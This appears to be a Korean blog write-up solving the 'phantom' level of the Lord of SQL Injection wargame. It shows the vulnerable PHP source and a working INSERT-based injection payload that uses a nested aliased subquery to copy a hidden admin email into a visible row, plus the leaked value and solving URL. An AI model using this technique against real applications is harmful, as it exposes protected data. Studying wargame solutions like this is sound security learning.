write-up/LOS write-up

LOS (Lord of SQL injection) 문제 29번 phantom write-up

정보보호학과 새내기 2021. 7. 14. 16:28
반응형
SMALL

문제 29번 - phantom

 

이번엔 쿼리를 처음에 안띄워줬다.

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("phantom");

  if($_GET['joinmail']){
    if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }

  $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
  }
  echo "</table>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
  highlight_file(__FILE__);
?>

이번에도 다른 문제들처럼 php 코드가 주어졌다.

 

먼저 필터링 함수를 확인해보니 joinmail에 값을 넣으면 쿼리문이 실행되고 joinmail에는 duplicate를 필터링하는 것을 알 수 있다. 쿼리를 확인해보니 insert를 이용하여 phantom에 서버와 메일을 입력하는 것을 볼 수 있다.

<?php
  if($_GET['joinmail']){
    if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }
?>

 

또 select를 이용하여 no=1 일 때 no와 ip email을 불러오는 쿼리를 실행시키며 while 문을 통해 테이블을 보여주는 것을 확인할 수 있다. 아마 이를 이용하여 clear해야 하는 것 같다.

<?php
  $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
  }
  echo "</table>";
?>

 

clear 조건을 확인해보니 email을 찾는 것을 알 수 있다. joinmail과 server에 적절한 값을 집어넣어 no=1인 email값을 찾는 것 같다.

<?php
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
  highlight_file(__FILE__);
?>

 

먼저 어떤 형식으로 출력이 되는지 궁금해서 joinmail에 what을 입력해보았다.

no는 0으로 insert 되고 server는 211.202.43.202이고 email에 원하는 문구가 들어간 것을 확인할 수 있다.

필터링에 걸리는게 duplicate밖에 없어서 서브쿼리를 한번 생각해보았다.(괄호 사용 가능하기 때문에)

서브쿼리를 이용할 때 먼저 select as 를 이용하여 저장하면 된다는 것을 알게 되었다. (다른 라업 및 별칭 파트 참조)

 

joinmail=1',(0,'211.202.43.202',(select email from (select email from prob_phantom where no=1) as a))%23 을 입력해주면 된다. (여러번 실행 시키니 똑같은 값이 저장되고 출력되었다.)

위 url로 얻은 결과는 email이 admin_secure_email@rubiya.kr 라는 것이다.

 

solve

https://los.rubiya.kr/chall/phantom_e2e30eaf1c0b3cb61b4b72a932c849fe.php?email=admin_secure_email@rubiya.kr

반응형
LIST